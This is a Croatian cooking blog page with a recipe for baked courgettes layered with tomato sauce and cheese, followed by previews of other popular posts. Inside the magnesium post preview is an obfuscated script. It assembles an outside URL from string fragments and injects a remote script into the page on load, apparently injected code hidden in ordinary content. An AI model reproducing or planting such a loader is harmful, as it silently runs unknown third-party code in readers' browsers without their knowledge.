ZAPEČENE TIKVICE S RAJČICAMA I SIROM 🍅




Zapečene tikvice s rajčicama i sirom 



S tikvicama se može napraviti i odličan ljetni složenac koji predstavlja zabavnu kombinaciju lazanja i musake. Tikvice se narežu na kolutiće, kratko prepeku na tavi, a potom poslože u vatrostalnu posudu, premažu s umakom na bazi rajčice i naribanim sirom te tako zapeku u pećnici.




Zapečene tikvice s rajčicama i sirom 


Sastojci:

  • 250 g sjeckane rajčice
  • 200 g tvrdog sira po želji
  • 50 g krušnih mrvica
  • 3 srednje velike tikvice
  • 1 luk
  • 2-3 češnja češnjaka
  • 1 čajna žličica mediteranske mješavine začina
  • biljno ulje po želji
  • sol i papar po želji
  • svježi kopar



Priprema:

  1. Tikvice narežite na kolutiće debljine oko pola centimetara. Nasolite ih i pustite da odstoje 15-ak minuta kako bi ispustile višak vode. Potom ih posušite s papirnatim ručnikom.
  2. Na tavi zagrijte malo ulja te ih kratko prepržite - par minuta – s obje strane dok ne dobiju lijepu zlatno-smeđu boju. Stavite sa strane.
  3. U istoj tavi zagrijte još ulja i na njemu prepirjajte nasjeckani luk dok ne omekša. Potom dodajte nasjeckani češnjak i nastavite pirjati još oko minute. Dodajte u tavu i nasjeckane rajčice, posolite ih i popaprite te začinite s mediteranskom mješavinom začina. Kuhajte sve zajedno oko 15 minuta da se sastojci povežu.
  4. Naribajte sir i pomiješajte ga s krušnim mrvicama i sitno nasjeckanim koprom.
  5. Vatrostalnu posudu ili kalup za pečenje torti obložite papirom za pečenje pa na dno stavite tikvice, premažite s umakom od rajčice i dodajte naribani sir. Ponavljajte slojeve dok ne potrošite sve sastojke.
  6. Složenac s tikvicama stavite peći u prethodno zagrijanu pećnicu na 180 Celzijeva stupnja oko 20 minuta, odnosno dok se sir ne rastopi i ne zapeče.
  7. Poslužite složenac od tikvica sa sezonskom salatom ili kao prilog uz mesno jelo. Dobar tek!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više